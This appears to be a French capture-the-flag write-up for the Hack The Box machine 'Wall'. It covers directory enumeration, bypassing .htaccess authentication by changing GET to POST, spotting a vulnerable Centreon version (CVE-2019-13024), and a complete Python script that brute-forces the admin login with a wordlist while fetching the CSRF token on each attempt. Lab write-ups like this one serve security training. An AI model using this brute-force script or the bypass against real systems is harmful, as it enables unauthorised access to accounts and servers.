L’url http://10.10.10.157/ mène sur la page par défaut d’Apache sous Ubuntu

Nmap nous dit que les ports 22 ssh et 80 http sont ouverts

Énumérons les dossiers:

root@Host-001:~# dirb http://10.10.10.157

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Oct  3 18:19:32 2019
URL_BASE: http://10.10.10.157/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.157/ ----
+ http://10.10.10.157/index.html (CODE:200|SIZE:10918)                         
+ http://10.10.10.157/monitoring (CODE:401|SIZE:459)                           
+ http://10.10.10.157/server-status (CODE:403|SIZE:300)                        
                                                                               
-----------------
END_TIME: Thu Oct  3 18:20:44 2019
DOWNLOADED: 4612 - FOUND: 3

Se rendre sur http://10.10.10.157/monitoring

Nous avons une authentification .htaccess

Bypasser l’authentification en utilisant POST à la place de GET dans la requête avec Burp

On est reconduit sur la page

On tombe sur une page de login de Centreon v. 19.04.0

Cette version de Centreon est vulnerable CVE 2019-13024:

Utilisons l’exploit pour cette CVE: https://gist.github.com/mhaskar/c4255f6cf45b19b8a852c780f50576da

Pour utiliser cet exploit il faut avoir les bons credentials.

Les credentials par défault admin::centreon ne fonctionnent pas pour la page http. Idem root::centreon ne fonctionne pas pour la connection SSH. Ref: https://documentation.centreon.com/docs/centreon/en/latest/installation/from_VM.html

Brute-forcer les credentials avec Hydra. Faux positif pour le compte admin sur la page http.

Script maison bruteForceCentreon.py:

#!/usr/bin/python3

#Custom script to crack credentials from Centreon login form (HTB: Wall machine)
#Inspired from: https://gist.github.com/mhaskar/c4255f6cf45b19b8a852c780f50576da


import requests
import sys
import warnings
from bs4 import BeautifulSoup

fd = open("/usr/share/wordlists/rockyou.txt", "rb")
passwd_list = fd.readlines()
fd.close()

for password in passwd_list:

	print("[+] Trying:" + password)
	request = requests.session()
	print("[+] Retrieving CSRF token to submit the login form")
	page = request.get("http://10.10.10.157/centreon/index.php")
	html_content = page.text
	soup = BeautifulSoup(html_content)
	token = soup.findAll('input')[3].get("value")

	login_info = {
    		"useralias": "admin",
    		"password": password,
    		"submitLogin": "Connect",
    		"centreon_token": token
	}


	login_request = request.post("http://10.10.10.157/centreon/index.php", login_info)
	print("[+] Login token is : {0}".format(token))

	if "Your credentials are incorrect." not in login_request.text:
		print("[+] Logged In Sucssfully. Password is: " + password)
		exit()
	else:
		print("[-] Wrong credentials")

Lancer le script:

root@Host-001:~/Bureau# python bruteForceCentreon.py 

Résultat:

(…)

[+] Retrieving CSRF token to submit the login form
[+] Login token is : 7335bffb040efca5cf401759956e8768
[-] Wrong credentials
[+] Trying:rock you

[+] Retrieving CSRF token to submit the login form
[+] Login token is : 06d5023d6c9d373d9e44aa0c4dae7a9a
[+] Logged In Sucssfully. Password is: rock you

On essaye de se loguer avec admin::rock you mais on tombe sur une erreur 403

On modifie le script et on se rend compte que n’importe quel mdp avec un espace ou un # dedans renvoie une erreur 403

Poursuivez avec :

- Oneliner Shells - HTB - Write Up Machine

CC-BY

This work is licensed under a Creative Commons Attribution 4.0 International License.